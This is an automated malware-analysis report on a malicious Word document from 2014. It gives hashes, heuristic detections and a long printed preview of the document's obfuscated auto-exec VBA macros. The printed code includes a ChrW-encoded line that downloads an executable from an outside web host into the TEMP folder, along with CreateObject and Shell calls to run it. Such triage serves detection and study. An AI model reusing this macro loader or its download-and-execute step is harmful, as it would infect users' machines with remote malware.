Office (OLE) malware analysis — malicious · 99077f53365f931b

MALICIOUS

Office (OLE)

225.5 KB Created: 2014-11-06 09:03:00 Authoring application: Microsoft Office Word First seen: 2014-11-24

MD5: 1b952f7556a5046a03f2d77877dcf507 SHA-1: ba8082df26befa911241880d7b85099ce48c5d83 SHA-256: 99077f53365f931bddb4028793f9722c25b7095ae61eae3f6b31f9d7225e8c27

274 Risk Score

Heuristics 11

VBA macros detected medium 8 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    wgeidynimaz = Shell(ebwqwtjzaph, 1)
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set kderacuvhjh = CreateObject(ChrW(109) & ChrW(115) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(50) & ChrW(46) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

    Set kderacuvhjh = CreateObject(ChrW(109) & ChrW(115) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(50) & ChrW(46) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub autoopen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub workbook_open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub auto_open()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

    gigcposgjkk ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(119) & ChrW(119) & ChrW(119) & ChrW(46) & ChrW(105) & ChrW(114) & ChrW(109) & ChrW(105) & ChrW(110) & ChrW(103) & ChrW(46) & ChrW(104) & ChrW(114) & ChrW(47) & ChrW(106) & ChrW(115) & ChrW(47) & ChrW(98) & ChrW(105) & ChrW(110) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ(ChrW(116) & ChrW(101) & ChrW(109) & ChrW(112)) & ChrW(92) & ChrW(76) & ChrW(78) & ChrW(90) & ChrW(77) & ChrW(84) & …

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	135975 bytes
SHA-256: `8fdf71847b0139d4c85b1830181644546c41e01339d1df3a6c8aeb082f365efa`
Detection ClamAV: No threats found Obfuscation or payload: likely 178 of 278 identifiers look randomly generated (e.g. 'dbdylzzldfq') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Sub auto_open() 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 926465 = 926465 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 7657 < 32 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kfbmsnvr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vegzkylx As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vegzkylx = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vegzkylx 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kfbmsnvr = 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While kfbmsnvr < 65 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim aqwnjbmb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For aqwnjbmb = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next aqwnjbmb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: kfbmsnvr = kfbmsnvr + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vrplyzxi As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vrplyzxi = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vrplyzxi 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vnrmizlc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vnrmizlc = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vnrmizlc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(107) & ChrW(112) & ChrW(118) & ChrW(115) & ChrW(104) & ChrW(106) & ChrW(102) & ChrW(119) & ChrW(56) & ChrW(52)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(122) & ChrW(112) & ChrW(109) & ChrW(113) & ChrW(122) & ChrW(117) & ChrW(107) & ChrW(113) & ChrW(49) & ChrW(56) & ChrW(50) & ChrW(49)) = Len(ChrW(101) & ChrW(100) & ChrW(118) & ChrW(98) & ChrW(113) & ChrW(121) & ChrW(106) & ChrW(106)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim oletgqso As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim dkaeeqhp As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For dkaeeqhp = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next dkaeeqhp 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq oletgqso = 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While oletgqso < 17 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xkrfyduu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xkrfyduu = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xkrfyduu 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: oletgqso = oletgqso + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ztxmgeta As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ztxmgeta = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ztxmgeta 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jwvsxhvz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jwvsxhvz = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jwvsxhvz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qpllkwvm As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xghkyijj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xghkyijj = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xghkyijj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq qpllkwvm = 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While qpllkwvm < 32 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qylodmqj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For qylodmqj = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next qylodmqj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: qpllkwvm = qpllkwvm + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tflybcyc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tflybcyc = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tflybcyc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rmmnwbif As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rmmnwbif = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rmmnwbif 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq oknydsjonss 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End Sub 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Sub autoopen() 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 275943 = 275943 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 2392 < 41 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yotchvyu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ofinizzb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ofinizzb = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ofinizzb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq yotchvyu = 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While yotchvyu < 11 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vtpkgfcb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vtpkgfcb = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vtpkgfcb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: yotchvyu = yotchvyu + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim louexlrq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For louexlrq = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next louexlrq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tfwvatki As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tfwvatki = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tfwvatki 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(108) & ChrW(110) & ChrW(115) & ChrW(121) & ChrW(118) & ChrW(103) & ChrW(106) & ChrW(113) & ChrW(54) & ChrW(49)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(110) & ChrW(104) & ChrW(104) & ChrW(116) & ChrW(117) & ChrW(111) & ChrW(100) & ChrW(122) & ChrW(53) & ChrW(53) & ChrW(54) & ChrW(53)) = Len(ChrW(119) & ChrW(112) & ChrW(103) & ChrW(112) & ChrW(97) & ChrW(102) & ChrW(110) & ChrW(104)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ivremmom As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim svzwqthm As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For svzwqthm = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next svzwqthm 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq ivremmom = 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While ivremmom < 96 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim dgjdanwn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For dgjdanwn = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next dgjdanwn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: ivremmom = ivremmom + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tsrslpdj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tsrslpdj = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tsrslpdj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tdavzicb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tdavzicb = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tdavzicb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xgtmaurw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yilynwda As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For yilynwda = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next yilynwda 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq xgtmaurw = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While xgtmaurw < 29 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim hvhwcorn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For hvhwcorn = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next hvhwcorn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: xgtmaurw = xgtmaurw + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ojvqzfto As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ojvqzfto = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ojvqzfto 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xstdhcde As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xstdhcde = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xstdhcde 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq auto_open 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End Sub 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Sub workbook_open() 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 932566 = 932566 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 3915 < 95 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ffpaewza As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kfsupocl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For kfsupocl = 0 To 1 